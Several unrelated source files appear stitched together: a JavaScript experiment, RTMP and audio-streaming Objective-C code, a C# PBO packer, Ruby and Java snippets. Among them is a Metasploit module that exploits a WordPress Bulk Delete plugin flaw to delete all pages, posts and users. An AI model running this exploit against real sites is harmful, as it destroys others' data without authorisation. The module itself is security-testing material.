text:
create_agent = function() {
    reqwest({
        url: "/node/" + participant_id,
        method: 'post',
        type: 'json',
        success: function (resp) {
            my_node_id = resp.node.id;
            get_infos(my_node_id);
        },
        error: function (err) {
            console.log(err);
            err_response = JSON.parse(err.response);
            if (err_response.hasOwnProperty('html')) {
                $('body').html(err_response.html);
            } else {
                allow_exit();
                go_to_page('questionnaire');
            }
        }
    });
};

get_infos = function() {
    reqwest({
        url: "/node/" + my_node_id + "/infos",
        method: 'get',
        type: 'json',
        success: function (resp) {
            sides_switched = Math.random() < 0.5;

            animal_0 = JSON.parse(resp.infos[0].contents);
            animal_1 = JSON.parse(resp.infos[1].contents);

            if (sides_switched === false) {
                drawAnimal(animal_0, "left");
                drawAnimal(animal_1, "right");
            } else {
                drawAnimal(animal_1, "left");
                drawAnimal(animal_0, "right");
            }
            $(".submit-response").attr('disabled',false);
        },
        error: function (err) {
            console.log(err);
            err_response = JSON.parse(err.response);
            $('body').html(err_response.html);
        }
    });
};

submit_response = function(choice) {
    if (sides_switched === true) {
        choice = 1 - choice;
    }
    $(".submit-response").attr('disabled',true);
    paper.clear();

    reqwest({
        url: "/choice/" + my_node_id + "/" + choice,
        method: 'post',
        success: function (resp) {
            create_agent();
        },
        error: function (resp) {
            create_agent();
        }
    });
};

//
// Draw the animal..
//
drawAnimal = function (animal, side) {

    PPU = 50;

    if (side === "left") {
        xShift = 0;
    } else if (side === "right") {
        xShift = 200;
    }

    // Display parameters.
    shoulderJointX = 175 + xShift;
    shoulderJointY = 175;
    bodyLength = 1;

    // Stimulus parameters, convert to pixels and radians.
    bodyHeightPx = animal.body_height * PPU;
    footSpreadPx = animal.foot_spread * PPU;
    neckAngleRad = (animal.neck_angle + 90) * (Math.PI / 180);
    neckLengthPx = animal.neck_length * PPU;
    headAngleRad = animal.head_angle * -1 * (Math.PI / 180) + neckAngleRad;
    headLengthPx = animal.head_length * PPU;
    bodyTiltRad = animal.body_tilt * (Math.PI / 180);
    bodyLengthPx = bodyLength * PPU;
    tailAngleRad = (animal.tail_angle - 90) * (Math.PI / 180);
    tailLengthPx = animal.tail_length * PPU;

    // Draw the first front leg, which points forward.
    frontLeg1 = paper.path("M" + shoulderJointX + "," + shoulderJointY + "L" + (shoulderJointX - footSpreadPx/2) + "," + (shoulderJointY + bodyHeightPx));
    frontLeg1.attr("stroke-width", "2");

    // Draw the second front leg, which points backward.
    frontLeg2 = paper.path("M" + shoulderJointX + "," + shoulderJointY + "L" + (shoulderJointX + footSpreadPx/2) + "," + (shoulderJointY + bodyHeightPx));
    frontLeg2.attr("stroke-width", "2");

    // Draw the neck.
    neckX = Math.cos(neckAngleRad) * neckLengthPx;
    neckY = Math.sin(neckAngleRad) * neckLengthPx;
    neck = paper.path("M" + shoulderJointX + "," + shoulderJointY + "l" + neckX + "," + neckY);
    neck.attr("stroke-width", "2");

    // Draw the head.
    headX = Math.cos(headAngleRad) * headLengthPx;
    headY = Math.sin(headAngleRad) * headLengthPx;
    head = paper.path("M" + (shoulderJointX + neckX) + "," + (shoulderJointY + neckY) + "l" + headX + "," + headY);
    head.attr("stroke-width", "2");

    // Draw the body.
    bodyX = Math.cos(bodyTiltRad) * bodyLengthPx;
    bodyY = Math.sin(bodyTiltRad) * bodyLengthPx;
    body = paper.path("M" + shoulderJointX + "," + shoulderJointY + "l" + bodyX + "," + bodyY);
    body.attr("stroke-width", "2");

    // Draw the first back leg, which points forward.
    backLeg1 = paper.path("M" + (shoulderJointX + bodyX) + "," + (shoulderJointY + bodyY) + "l" + (-1 * footSpreadPx/2) + "," + Math.max((bodyHeightPx - bodyY), 0));
    backLeg1.attr("stroke-width", "2");

    // Draw the second back leg, which points backward.
    backLeg2 = paper.path("M" + (shoulderJointX + bodyX) + "," + (shoulderJointY + bodyY) + "l" + footSpreadPx/2 + "," + Math.max((bodyHeightPx - bodyY), 0));
    backLeg2.attr("stroke-width", "2");

    // Draw the tail.
    tailX = Math.cos(tailAngleRad) * tailLengthPx;
    tailY = Math.sin(tailAngleRad) * tailLengthPx;
    tail = paper.path("M" + (shoulderJointX + bodyX) + "," + (shoulderJointY + bodyY) + "l" + tailX + "," + tailY);
    tail.attr("stroke-width", "2");
};


text:
//
//  LFRtmpMessageHeader.m
//  myrtmp
//
//  Created by liuf on 16/7/22.
//
//
#import "LFRtmpMessageHeader.h"

@implementation LFRtmpMessageHeader
/**
 *  初始化
 *
 *  @param fmtType   basic header中的fmt类型
 *  @param typeID    消息类型
 *  @param streamID  消息流id
 *  @param length    此消息chunk块实际发送数据的大小,这里指LFRtmpChunkData的大小
 *  @param timestamp 时间戳
 *
 *  @return self
 */
-(instancetype)init:(LFRtmpBasicHeaderFmtType)fmtType
             typeID:(LFRtmpMessageType)typeID
           streamID:(uint32_t)streamID
             length:(uint32_t)length
          timestamp:(uint32_t)timestamp{
    self=[super init];
    if(self){
        _fmtType=fmtType;
        _typeID=typeID;
        _streamID=CFSwapInt32HostToLittle(streamID);//转换为小端存储
        _length=length;
        _timestamp=timestamp;
    }
    return self;
}
/**
 *  创建messageHeader的快捷方式
 *
 *  @param fmtType fmt类型
 *  @param data    数据
 *
 *  @return self
 */
+(instancetype)messageHeader:(LFRtmpBasicHeaderFmtType)fmtType data:(NSData *)data{
    switch (fmtType) {
        case LFRtmpBasicHeaderFmtLarge:
        {
            if(data.length!=LFRtmpMessageHeaderSizeLarge){
                NSLog(@"--------------RTMP:调用messageHeader失败,数据不满足格式要求!--------------");
                return nil;
            }
            const uint8_t *bytes=[data bytes];
            uint32_t timestamp=0;
            for(int i=0;i<3;i++){
                timestamp=timestamp|bytes[i];
                if(i!=2){
                    timestamp=timestamp<<8;
                }
            }
            uint32_t length=0;
            for(int i=3;i<6;i++){
                length=length|bytes[i];
                if(i!=5){
                    length=length<<8;
                }
            }
            LFRtmpMessageType msgType=[LFRtmpMessageHeader getMessageType:bytes[6]];
            if(msgType==LFRtmpMessageHeaderTypeUnkonwn){
                NSLog(@"--------------RTMP:调用messageHeader失败,数据不满足格式要求!--------------");
                return nil;
            }
            uint32_t streamId=0;
            for(int i=7;i<11;i++){
                streamId=streamId|bytes[i];
                if(i!=10){
                    streamId=streamId<<8;
                }
            }
            return [[LFRtmpMessageHeader alloc] init:fmtType
                                              typeID:msgType
                                            streamID:streamId
                                              length:length
                                           timestamp:timestamp];

        }
            break;
        case LFRtmpBasicHeaderFmtMedium:
        {

            if(data.length!=LFRtmpMessageHeaderSizeMedium){
                NSLog(@"--------------RTMP:调用messageHeader失败,数据不满足格式要求!--------------");
                return nil;
            }
            const uint8_t *bytes=[data bytes];
            uint32_t timestamp=0;
            for(int i=0;i<3;i++){
                timestamp=timestamp|bytes[i];
                if(i!=2){
                    timestamp=timestamp<<8;
                }
            }
            uint32_t length=0;
            for(int i=3;i<6;i++){
                length=length|bytes[i];
                if(i!=5){
                    length=length<<8;
                }
            }
            LFRtmpMessageType msgType=[LFRtmpMessageHeader getMessageType:bytes[6]];
            if(msgType==LFRtmpMessageHeaderTypeUnkonwn){
                NSLog(@"--------------RTMP:调用messageHeader失败,数据不满足格式要求!--------------");
                return nil;
            }
            return [[LFRtmpMessageHeader alloc] init:fmtType
                                              typeID:msgType
                                            streamID:0x0
                                              length:length
                                           timestamp:timestamp];
        }
            break;
        case LFRtmpBasicHeaderFmtSmall:
        {
            if(data.length!=LFRtmpMessageHeaderSizeSmall){
                NSLog(@"--------------RTMP:调用messageHeader失败,数据不满足格式要求!--------------");
                return nil;
            }
            const uint8_t *bytes=[data bytes];
            uint32_t timestamp=0;
            for(int i=0;i<3;i++){
                timestamp=timestamp|bytes[i];
                if(i!=2){
                    timestamp=timestamp<<8;
                }
            }
            return [[LFRtmpMessageHeader alloc] init:fmtType
                                              typeID:LFRtmpMessageHeaderTypeUnkonwn
                                            streamID:0x0
                                              length:0x0
                                           timestamp:timestamp];

        }
            break;
        default:
            break;
    }
    NSLog(@"--------------RTMP:调用messageHeader失败,数据不满足格式要求!--------------");
    return nil;
}
/**
 *  返回message header数据
 *
 *  @return 返回message header数据
 */
-(NSData *)data{
    NSMutableData *data=[NSMutableData data];
    uint8_t *bytes=[data mutableBytes];
    switch (_fmtType) {
        case LFRtmpBasicHeaderFmtLarge:
        {
            //type=0时
            //timestamp(时间戳):占用3个字节
            //message length(消息数据的长度):占用3个字节,
            //message type id(消息的类型id):占用1个字节,
            //msg stream id(消息的流id):占用4个字节
            [data setLength:7];
            //当时间戳的值超最大值时,这三个字节都置为1,并启用扩展时间戳
            if(_timestamp>=kMessageThreeByteMax){
                bytes[0]=0x1;
                bytes[1]=0x1;
                bytes[2]=0x1;
                _extendTimestamp=[[LFRtmpExtendedTimestamp alloc] init:_timestamp];
            }else{
                bytes[0]=_timestamp>>16;
                bytes[1]=_timestamp>>8;
                bytes[2]=_timestamp;
            }
            bytes[3]=_length>>16;
            bytes[4]=_length>>8;
            bytes[5]=_length;
            bytes[6]=_typeID;
            //将4字节的_streamID追加到data尾部总共11字节
            [data appendBytes:&_streamID length:sizeof(_streamID)];
        }
            break;
        case LFRtmpBasicHeaderFmtMedium:
        {
            //type=1时
            //timestamp delta(时间戳):占用3个字节
            //message length(消息数据的长度):占用3个字节,
            //message type id(消息的类型id):占用1个字节,
            [data setLength:LFRtmpMessageHeaderSizeMedium];
            //当时间戳的值超最大值时,这三个字节都置为1,并启用扩展时间戳
            if(_timestamp>=kMessageThreeByteMax){
                bytes[0]=0x1;
                bytes[1]=0x1;
                bytes[2]=0x1;
                _extendTimestamp=[[LFRtmpExtendedTimestamp alloc] init:_timestamp];
            }else{
                bytes[0]=_timestamp>>16;
                bytes[1]=_timestamp>>8;
                bytes[2]=_timestamp;
            }
            bytes[3]=_length>>16;
            bytes[4]=_length>>8;
            bytes[5]=_length;
            bytes[6]=_typeID;
        }
            break;
        case LFRtmpBasicHeaderFmtSmall:
        {
            //type=2时
            //timestamp delta(时间戳):占用3个字节
            [data setLength:LFRtmpMessageHeaderSizeSmall];
            //当时间戳的值超最大值时,这三个字节都置为1,并启用扩展时间戳
            if(_timestamp>=kMessageThreeByteMax){
                bytes[0]=0x1;
                bytes[1]=0x1;
                bytes[2]=0x1;
                _extendTimestamp=[[LFRtmpExtendedTimestamp alloc] init:_timestamp];
            }else{
                bytes[0]=_timestamp>>16;
                bytes[1]=_timestamp>>8;
                bytes[2]=_timestamp;
            }
        }
            break;
        case LFRtmpBasicHeaderFmtMin:
        {
            NSLog(@"和上一个message header 完全一致!");
        }
            break;
        default:
            break;
    }
    return data;
}

#pragma mark private method
+(LFRtmpMessageType)getMessageType:(uint8_t)msgTypeData{
    LFRtmpMessageType msgType=LFRtmpMessageHeaderTypeUnkonwn;
    switch (msgTypeData) {
        case LFRtmpProControlSetChunkSizeMessage:
        {
            msgType=LFRtmpProControlSetChunkSizeMessage;
        }
            break;
        case LFRtmpProControlAbortMessage:
        {
            msgType=LFRtmpProControlAbortMessage;
        }
            break;
        case LFRtmpProControlAckMessage:
        {
            msgType=LFRtmpProControlAckMessage;
        }
            break;
        case LFRtmpProControlWindowAckSizeMessage:
        {
            msgType=LFRtmpProControlWindowAckSizeMessage;
        }
            break;
        case LFRtmpProControlSetPeerBandWidthMessage:
        {
            msgType=LFRtmpProControlSetPeerBandWidthMessage;
        }
            break;
        case LFRtmpUserControlMessage:
        {
            msgType=LFRtmpUserControlMessage;
        }
            break;
        case LFRtmpAudioMessage:
        {
             msgType=LFRtmpAudioMessage;
        }
            break;
        case LFRtmpVideoMessage:
        {
             msgType=LFRtmpVideoMessage;
        }
            break;
        case LFRtmpDataMessage:
        {
              msgType=LFRtmpDataMessage;
        }
            break;
        case LFRtmpCommandMessage:
        {
            msgType=LFRtmpCommandMessage;
        }
            break;
        default:
            break;
    }
    return msgType;
}
@end

redpajama_set_name: RedPajamaGithub


text:
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Security.Cryptography;
using Common.Logging;

namespace PboLib
{

    public class PboFile : IPboFile
    {
        private readonly ILog _log;

        public PboFile(ILog log)
        {
            _log = log;
        }

        public void PackDirectory(bool overwriteExisting, string inputFolder, string pboFileName)
        {
            try
            {
                // Make sure the input folder string is in the correct format
                if(!inputFolder.EndsWith(Path.DirectorySeparatorChar.ToString()))
                {
                    inputFolder = string.Format("{0}{1}", inputFolder, Path.DirectorySeparatorChar);
                }

                _log.InfoFormat("Packing the folder \"{0}\" with the ArmA 3 format.", inputFolder);

                // If a file already exists make a backup.
                if (File.Exists(pboFileName))
                {
                    if (overwriteExisting)
                    {
                        var str = string.Format("{0}.bak", pboFileName);

                        // If a old backup exists, delete it.
                        if (File.Exists(str))
                        {
                            _log.Trace("Old backup file detected. Removing the backup file.");
                            File.Delete(str);
                        }

                        _log.Trace("Found existing PBO with the same name. Renaming the file to have a .bak extension.");
                        File.Move(pboFileName, str);
                    }
                    else
                    {
                        throw new IOException("Destination file already exists. Please clear the destination or use the overwrite flag.");
                    }
                }

                var files = Directory.GetFiles(inputFolder, "*", SearchOption.AllDirectories);
                var pboHeaderEntries = BuildPboHeaderList(inputFolder, files).OrderBy(x => x.FileName).ToList();

                using (var pboStream = new MemoryStream())
                using (var pboWriter = new PboBinaryWriter(pboStream))
                {
                    var currentPosition = 1; // Make it a bit nicer for users :-)
                    var basePathLength = inputFolder.Length;
                    var totalEntries = (files.Length * 2) + 3; // Headers, separator,  Files, sha1 and another 1 just because 'normal' people aren't used to 0-based counts.
                    _log.Trace("Writing header block...");
                    foreach (var headerEntry in pboHeaderEntries)
                    {
                        var fileWithPath = string.Format("{0}{1}", inputFolder, headerEntry.FileName);
                        headerEntry.Serialize(pboWriter);
                        _log.DebugFormat("Op. {0} of {1}. Packed header: {2}", currentPosition, totalEntries, fileWithPath.Substring(basePathLength));
                        currentPosition++;
                    }

                    // An empty record signifies the end of the header record.
                    pboWriter.Write(new byte[21]);
                    _log.DebugFormat("Op. {0} of {1}. Finalizing header.", currentPosition, totalEntries);
                    currentPosition++;

                    foreach (var pboHeaderEntry in pboHeaderEntries)
                    {
                        var fileWithPath = string.Format("{0}{1}", inputFolder, pboHeaderEntry.FileName);

                        using (var fileStream = new FileStream(fileWithPath, FileMode.Open, FileAccess.Read))
                        using (var binaryReader = new BinaryReader(fileStream))
                        {
                            var bytes = binaryReader.ReadBytes((int) fileStream.Length);
                            pboWriter.Write(bytes);
                        }

                        _log.DebugFormat("Op. {0} of {1}. Packed file: {2}", currentPosition, totalEntries, fileWithPath.Substring(basePathLength));
                        currentPosition++;
                    }

                    // Get the bytes of the pbo body so that the sha1 can be computed
                    pboStream.Position = 0;
                    var contentBytes = ReadStreamToEnd(pboStream);
                    var sha1Bytes = new byte[21];
                    try
                    {
                        using (var sha1CryptoServiceProvider = new SHA1CryptoServiceProvider())
                        {
                            Array.Copy(sha1CryptoServiceProvider.ComputeHash(contentBytes), 0, sha1Bytes, 1, 20);
                            currentPosition++;
                        }
                    }
                    catch (Exception exception)
                    {
                        throw new Exception(exception.Message);
                    }

                    // Write out the body of the file along with the sha1
                    using (var fs = new FileStream(pboFileName, FileMode.Create, FileAccess.Write))
                    {
                        var fileBytes = new byte[contentBytes.Length + 21];
                        Buffer.BlockCopy(contentBytes, 0, fileBytes, 0, contentBytes.Length);
                        Buffer.BlockCopy(sha1Bytes, 0, fileBytes, contentBytes.Length, sha1Bytes.Length);
                        fs.Write(fileBytes, 0, fileBytes.Length);
                    }
                    _log.DebugFormat("Op. {0} of {1}. Writing PBO file to {2}.", currentPosition, totalEntries, pboFileName);
                    _log.Info("Writing PBO out to disk...");
                }
                GC.Collect();
            }
            catch (Exception ex)
            {
                _log.Fatal("Fatal issue encountered", ex);
                Environment.ExitCode = 1;
            }
        }

        private static List<PboHeaderEntry> BuildPboHeaderList(string inputFolder, string[] files)
        {
            var pboHeaderEntries = new List<PboHeaderEntry>();

            foreach (var file in files)
            {
                if (!string.IsNullOrWhiteSpace(Path.GetExtension(file)))
                {
                    var fileInfo = new FileInfo(file);
                    var size = (int) fileInfo.Length;
                    var pboHeaderEntry = new PboHeaderEntry(PboItemPackingMethod.Uncompressed, file.Substring(inputFolder.Length), 0, 0, ComputeUnixTimeStamp(fileInfo), size);
                    pboHeaderEntries.Add(pboHeaderEntry);
                }
            }

            return pboHeaderEntries;
        }

        /// <summary>
        /// Reads the stream to end.
        /// </summary>
        /// <param name="stream">The stream.</param>
        /// <returns>System.Byte[].</returns>
        private static byte[] ReadStreamToEnd(Stream stream)
        {
            long originalPosition = 0;

            if (stream.CanSeek)
            {
                originalPosition = stream.Position;
                stream.Position = 0;
            }

            try
            {
                var readBuffer = new byte[4096];

                var totalBytesRead = 0;
                int bytesRead;

                while ((bytesRead = stream.Read(readBuffer, totalBytesRead, readBuffer.Length - totalBytesRead)) > 0)
                {
                    totalBytesRead += bytesRead;

                    if (totalBytesRead == readBuffer.Length)
                    {
                        var nextByte = stream.ReadByte();
                        if (nextByte != -1)
                        {
                            byte[] temp = new byte[readBuffer.Length * 2];
                            Buffer.BlockCopy(readBuffer, 0, temp, 0, readBuffer.Length);
                            Buffer.SetByte(temp, totalBytesRead, (byte)nextByte);
                            readBuffer = temp;
                            totalBytesRead++;
                        }
                    }
                }

                var buffer = readBuffer;
                if (readBuffer.Length != totalBytesRead)
                {
                    buffer = new byte[totalBytesRead];
                    Buffer.BlockCopy(readBuffer, 0, buffer, 0, totalBytesRead);
                }
                return buffer;
            }
            finally
            {
                if (stream.CanSeek)
                {
                    stream.Position = originalPosition;
                }
            }
        }

        private static int ComputeUnixTimeStamp(FileSystemInfo info)
        {
            var lastWriteTime = info.LastWriteTimeUtc - new DateTime(1970, 1, 1, 0, 0, 0, DateTimeKind.Utc);
            return (int) lastWriteTime.TotalSeconds;
        }
    }
}


text:
[Go to Home page](/markdown-docs/index.md)

[Fork Markdown Extended](https://github.com/sergiu-gordienco/markdown-extended) on **GitHub**


text:
require "spec_helper"

describe Mea::WaterMeasuresController do
  describe "routing" do

    it "routes to #index" do
      get("/mea/water_measures").should route_to("mea/water_measures#index")
    end

    it "routes to #new" do
      get("/mea/water_measures/new").should route_to("mea/water_measures#new")
    end

    it "routes to #show" do
      get("/mea/water_measures/1").should route_to("mea/water_measures#show", :id => "1")
    end

    it "routes to #edit" do
      get("/mea/water_measures/1/edit").should route_to("mea/water_measures#edit", :id => "1")
    end

    it "routes to #create" do
      post("/mea/water_measures").should route_to("mea/water_measures#create")
    end

    it "routes to #update" do
      put("/mea/water_measures/1").should route_to("mea/water_measures#update", :id => "1")
    end

    it "routes to #destroy" do
      delete("/mea/water_measures/1").should route_to("mea/water_measures#destroy", :id => "1")
    end

  end
end


text:
import java.util.LinkedList;

class Cell<Key, Value> {
	private Key k;
	private Value v;

	public Cell(Key k, Value v) {
		this.k = k;
		this.v = v;
	}
	Key getKey() { return this.k; }
	Value getValue() { return this.v; }

	public boolean equivalent(Key k) {
		return k.equals(this.k);
	}
}

public class Hash<Key, Value> {
	private LinkedList<Cell<Key, Value>>[] mLinkedList;
	private int mSize;

	public Hash(int size) {
		mSize = size;
		mLinkedList = new LinkedList[mSize];
	}

	// length(Key) % N
	int getHash(Key k) {
		return k.toString().length() % mLinkedList.length;
	}

	// puts the value for the appropriate key
	public void put(Key k, Value v) {
		int hash = getHash(k);
		if (mLinkedList[hash] == null)
			mLinkedList[hash] = new LinkedList<>();
		// Check if the key is already present
		// then remove the cell value
		for (Cell<Key, Value> c : mLinkedList[hash]) {
			if (c.equivalent(k)) {
				mLinkedList[hash].remove(c);
				break;
			}
		}
		mLinkedList[hash].add(new Cell<Key, Value>(k, v));
	}

	public Value get(Key k) {
		int hash = getHash(k);
		if (mLinkedList[hash] == null)
			return null;

		for (Cell<Key, Value> c : mLinkedList[hash]) {
			if (c.equivalent(k)) {
				return c.getValue();
			}
		}
		return null;
	}

	public void print() {
		for (int i = 0; i < mLinkedList.length; i++) {
			if (mLinkedList[i] == null) continue;
			System.out.println("Bucket: "+i);
			for (Cell<Key, Value> c : mLinkedList[i]) {
				System.out.println("Key: " + c.getKey() + " Value: "+c.getValue());
			}
		}
	}

	public static void main(String args[]) {
		Hash<String, Integer> h = new Hash<>(4);
		h.put("ab", 1);
		h.put("xyz", 2);
		h.put("pqr", 3);
		h.put("ab", 4);
		h.put("mnop", 4);
		h.put("pqrstquuljfgjlfd", 10);

		h.print();
	}
}


text: <!DOCTYPE html>


text:
var events = require('events'),
    querystring = require('querystring'),
    Args = require('vargs').Constructor,
    follow = require('follow'),
    cradle = require('../../cradle'),
    Database = require('./index').Database;

Database.prototype.changes = function (options, callback) {
    if (typeof(options) === 'function') {
        callback = options;
        options = {};
    }

    options = options || {};

    if (callback) {
        return this.query({
            method: 'GET',
            path: '_changes',
            query: options
        }, callback);
    }

    var response = new events.EventEmitter(),
        responded = false,
        protocol,
        auth = '',
        feed;

    if (!options.db) {
        protocol = this.connection.protocol || 'http';

        if (this.connection.auth && this.connection.auth.username
            && this.connection.auth.password) {
            auth = this.connection.auth.username + ':' + this.connection.auth.password + '@';
        }

        options.db = protocol + '://' + auth + this.connection.host + ':' + this.connection.port + '/' + this.name;
    }

    feed = new follow.Feed(options);
    feed.on('change', function () {
        //
        // Remark: Support the legacy `data` events.
        //
        if (!responded) {
            responded = true;
            feed.emit('response', response);
        }

        response.emit.apply(response, ['data'].concat(Array.prototype.slice.call(arguments)));
    });

    if (options.follow !== false) {
        feed.follow();
    }

    return feed;
};


text:
require 'msf/core'

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HTTP::Wordpress

  def initialize(info = {})
    super(update_info(info,
                      'Name' => 'Bulk Delete DoS',
                      'Description' => %q{
                        Will delete most of the website content if vulnerable, including posts, pages and users
                      },
                      'Author' => ['Panagiotis Vagenas <pan.vagenas [at] gmail.com>'],
                      'License' => MSF_LICENSE,
                      'References' => [
                          'URL' => 'http://pvagenas.com/vulnerabilities/bulk-delete-privilege-escalation/'
                      ],
                      'DisclosureDate' => 'Mar 02 2016'
          ))

    register_options(
        [
            OptString.new('USERNAME', [true, 'The username to authenticate with']),
            OptString.new('PASSWORD', [true, 'The password to authenticate with'])
        ], self.class)
  end

  def check
    check_plugin_version_from_readme('bulk-delete', '5.5.4')
  end

  def username
    datastore['USERNAME']
  end

  def password
    datastore['PASSWORD']
  end

  def do_action(action, data)
    res = send_request_cgi(
        'method' => 'POST',
        'uri' => normalize_uri(wordpress_url_backend, 'index.php'),
        'vars_get' => {bd_action: action},
        'vars_post' => data,
        'cookie' => @cookie
    )

    if res.nil?
      vprint_error('No response from the target.')
    elsif res.code != 200
      vprint_warning("Server responded with status code #{res.code}")
    end

    res
  end

  def run
    print_status("Authenticating with WordPress using #{username}:#{password}...")

    @cookie = wordpress_login(username, password)
    if @cookie.nil?
      print_error('Failed to authenticate with WordPress')
      return false
    end

    print_good('Authenticated with WordPress')

    print_status('Deleting all pages')
    r = do_action('delete_pages_by_status', {
        smbd_pages_force_delete: 'true',
        smbd_published_pages: 'published_pages',
        smbd_draft_pages: 'draft_pages',
        smbd_pending_pages: 'pending_pages',
        smbd_future_pages: 'future_pages',
        smbd_private_pages: 'private_pages'
    })

    if r.nil? or r.code != 200
      print_error('Failed to delete all pages, maybe target is not vulnerable')
    else
      vprint_good("Deleting all pages returned status code #{r.code}")
    end

    print_status('Deleting all posts from all default post types')

    %w(post page attachment revision nav_menu_item).each { |a|
      vprint_status("Deleting all posts from post type #{a}")

      r = do_action('delete_posts_by_post_type', {'smbd_types[0]' => "#{a}"})

      if r.nil? or r.code != 200
        vprint_error("Failed to delete all posts from post type #{a}")
      else
        vprint_good("Deleting all posts returned status code #{r.code}")
      end
    }

    print_status('Deleting all users')

    r = do_action('delete_users_by_meta', {
        smbd_u_meta_key: 'nickname',
        smbd_u_meta_compare: 'LIKE',
        smbd_u_meta_value: ''
    })

    if r.nil? or r.code != 200
      print_error('Failed to delete all posts, maybe target is not vulnerable')
    else
      vprint_good("Deleting all users returned status code #{r.code}")
    end

    print_status('Exploitation complete, please check output for details')

  end

end


text:
#import <XCTest/XCTest.h>
#import "FSAudioStream.h"
#import "FSAudioController.h"
#import "FSParsePlaylistRequest.h"

@interface FreeStreamerMobileTests : XCTestCase {
}

@property (nonatomic,strong) FSAudioStream *stream;
@property (nonatomic,strong) FSAudioController *controller;
@property (nonatomic,assign) BOOL keepRunning;
@property (nonatomic,assign) BOOL checkStreamState;
@property (nonatomic,strong) FSParsePlaylistRequest *playlistRequest;

@end

@implementation FreeStreamerMobileTests

- (void)setUp
{
    [super setUp];

    // Put setup code here. This method is called before the invocation of each test method in the class.

    _stream = [[FSAudioStream alloc] init];
    _controller = [[FSAudioController alloc] init];
    _keepRunning = YES;
    _checkStreamState = NO;
}

- (void)tearDown
{
    // Put teardown code here. This method is called after the invocation of each test method in the class.

    [_stream stop];
    [_controller stop];
    _keepRunning = NO;
    _checkStreamState = NO;

    [[NSNotificationCenter defaultCenter] removeObserver:self
                                                    name:FSAudioStreamStateChangeNotification
                                                  object:nil];

    [super tearDown];
}

- (void)testPlaylistRetrieval
{
    __weak FreeStreamerMobileTests *weakSelf = self;

    _playlistRequest = [[FSParsePlaylistRequest alloc] init];
    _playlistRequest.onCompletion = ^() {
        weakSelf.keepRunning = NO;
    };
    _playlistRequest.onFailure = ^() {
        weakSelf.keepRunning = NO;
    };
    _playlistRequest.url = [NSURL URLWithString:@"http://www.radioswissclassic.ch/live/mp3.m3u"];

    [_playlistRequest start];

    NSTimeInterval timeout = 15.0;
    NSTimeInterval idle = 0.1;
    BOOL timedOut = NO;

    NSDate *timeoutDate = [[NSDate alloc] initWithTimeIntervalSinceNow:timeout];
    while (!timedOut && _keepRunning) {
        NSDate *tick = [[NSDate alloc] initWithTimeIntervalSinceNow:idle];
        [[NSRunLoop currentRunLoop] runUntilDate:tick];
        timedOut = ([tick compare:timeoutDate] == NSOrderedDescending);
    }

    if (!_keepRunning) {
        // Requests completed
        XCTAssertTrue(([_playlistRequest.playlistItems count] > 0), @"No playlist items");

        return;
    }

    XCTAssertFalse(timedOut, @"Timed out - failed to retrieve the playlist");
}

- (void)testSomaGrooveSaladPlays
{
    [[NSNotificationCenter defaultCenter] addObserverForName:FSAudioStreamStateChangeNotification
                                                      object:nil
                                                       queue:nil
                                                  usingBlock:^(NSNotification *notification) {

                                                      NSLog(@"FSAudioStreamStateChangeNotification received!");

                                                      int state = [[notification.userInfo valueForKey:FSAudioStreamNotificationKey_State] intValue];

                                                      if (state == kFsAudioStreamPlaying) {
                                                          _checkStreamState = YES;
                                                          [_stream setVolume:0];
                                                      }
                                                  }];

    _controller.url = [NSURL URLWithString:@"http://somafm.com/groovesalad56.pls"];
    [_controller play];

    NSTimeInterval timeout = 15.0;
    NSTimeInterval idle = 0.1;
    BOOL timedOut = NO;

    NSDate *timeoutDate = [[NSDate alloc] initWithTimeIntervalSinceNow:timeout];
    while (!timedOut && _keepRunning) {
        NSDate *tick = [[NSDate alloc] initWithTimeIntervalSinceNow:idle];
        [[NSRunLoop currentRunLoop] runUntilDate:tick];
        timedOut = ([tick compare:timeoutDate] == NSOrderedDescending);

        if (_checkStreamState) {
            // Stream started playing.
            XCTAssertTrue(([_controller.stream.contentType isEqualToString:@"audio/mpeg"]), @"Invalid content type");
            XCTAssertTrue(([_controller.stream.suggestedFileExtension isEqualToString:@"mp3"]), @"Invalid file extension");

            return;
        }
    }
    XCTAssertFalse(timedOut, @"Timed out - the stream did not start playing");
}

- (void)testFileLength
{
    [[NSNotificationCenter defaultCenter] addObserverForName:FSAudioStreamStateChangeNotification
                                                      object:nil
                                                       queue:nil
                                                  usingBlock:^(NSNotification *notification) {

                                                      NSLog(@"FSAudioStreamStateChangeNotification received!");

                                                      int state = [[notification.userInfo valueForKey:FSAudioStreamNotificationKey_State] intValue];

                                                      if (state == kFsAudioStreamPlaying) {
                                                          _checkStreamState = YES;

                                                          // Set the stream silent, better for testing
                                                          [_stream setVolume:0];
                                                      }
                                                  }];

    _stream.url = [NSURL URLWithString:@"https://dl.dropboxusercontent.com/u/995250/FreeStreamer/As%20long%20as%20the%20stars%20shine.mp3"];
    [_stream play];

    NSTimeInterval timeout = 15.0;
    NSTimeInterval idle = 0.1;
    NSUInteger tickCounter = 0;
    BOOL timedOut = NO;

    NSDate *timeoutDate = [[NSDate alloc] initWithTimeIntervalSinceNow:timeout];
    while (!timedOut && _keepRunning) {
        NSDate *tick = [[NSDate alloc] initWithTimeIntervalSinceNow:idle];
        [[NSRunLoop currentRunLoop] runUntilDate:tick];
        timedOut = ([tick compare:timeoutDate] == NSOrderedDescending);

        if (_checkStreamState) {
            if (tickCounter > 20) {
                NSLog(@"2 seconds passed since the stream started playing, checking the state");

                XCTAssertTrue((_stream.duration.minute == 4), @"Invalid stream duration (minutes)");
                XCTAssertTrue((_stream.duration.second == 17), @"Invalid stream duration (seconds)");

                // Checks done, we are done.
                _keepRunning = NO;

                return;
            } else {
                tickCounter++;
            }
        }
    }
    XCTAssertFalse(timedOut, @"Timed out - the stream did not start playing");
}

- (void)testRadioHelsinkiPodcast
{
    [[NSNotificationCenter defaultCenter] addObserverForName:FSAudioStreamStateChangeNotification
                                                      object:nil
                                                       queue:nil
                                                  usingBlock:^(NSNotification *notification) {

                                                      NSLog(@"FSAudioStreamStateChangeNotification received!");

                                                      int state = [[notification.userInfo valueForKey:FSAudioStreamNotificationKey_State] intValue];

                                                      if (state == kFsAudioStreamPlaying) {
                                                          _checkStreamState = YES;
                                                          [_stream setVolume:0];
                                                      }
                                                  }];

    _controller.url = [NSURL URLWithString:@"http://www.radiohelsinki.fi/feed/podcast/"];
    [_controller play];

    NSTimeInterval timeout = 15.0;
    NSTimeInterval idle = 0.1;
    BOOL timedOut = NO;

